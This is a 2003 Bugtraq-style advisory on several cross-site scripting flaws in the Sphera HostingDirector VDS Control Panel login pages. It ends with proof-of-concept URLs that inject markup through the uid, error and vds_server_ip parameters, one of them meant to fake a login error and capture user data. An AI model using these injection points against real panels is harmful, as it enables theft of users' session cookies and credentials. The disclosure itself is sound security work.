Sphera HostingDirector VDS Control Panel Multiple Cross-Site Scripting Vulnerabilities

Bugtraq ID:	7899
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 13 2003 12:00AM
Updated:	Jun 13 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to "Lorenzo Hernandez Garcia-Hierro" <[email protected]>.
Vulnerable:	Sphera HostingDirector 3.0 Sphera HostingDirector 2.0 Sphera HostingDirector 1.0
Not Vulnerable:

Sphera HostingDirector VDS Control Panel Multiple Cross-Site Scripting Vulnerabilities

Sphera HostingDirector VDS Control Panel has been reported prone to several cross-site scripting attacks. The vulnerabilities exist due to insufficient sanitization of user-supplied input for certain URI parameters.

Successful exploitation could permit theft of cookie-based authentication credentials from legitimate users of the HostingDirector Control Panel.

Sphera HostingDirector VDS Control Panel Multiple Cross-Site Scripting Vulnerabilities

The following proof of concepts were provided:

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?uid=">[XSS
ATTACK CODE]

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=">[XSS
ATTACK CODE]

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=[XSS
ATTACK CODE COMBINATED WITH OTHER VARIABLE FOR EMULATE A REAL ERROR LIKE
"EITHER PASSWORD OR USER ARE INCORRECT , RE-FILL IN" FOR STEAL THE USER
DATA]

http://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR IP]&uid=">[XSS ATTACK CODE]&tz=[TIMEZONE CODE , TRY
CEST]&vds_server_ip=">[XSS ATTACK CODE]

https://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR
IP]&uid="></form>here%20comes%20your%20attack<h1>&tz=CEST&vds_server_ip=">He
re%20comes%20your%20XSS%20Attack&error=Either+user+or+password+are+incorrect
+,+please+re-fill+in+.

https://[TARGET]/[INSTALLATION
PATH]/login/sm_login_screen.php?uid="><h1>XSS%20!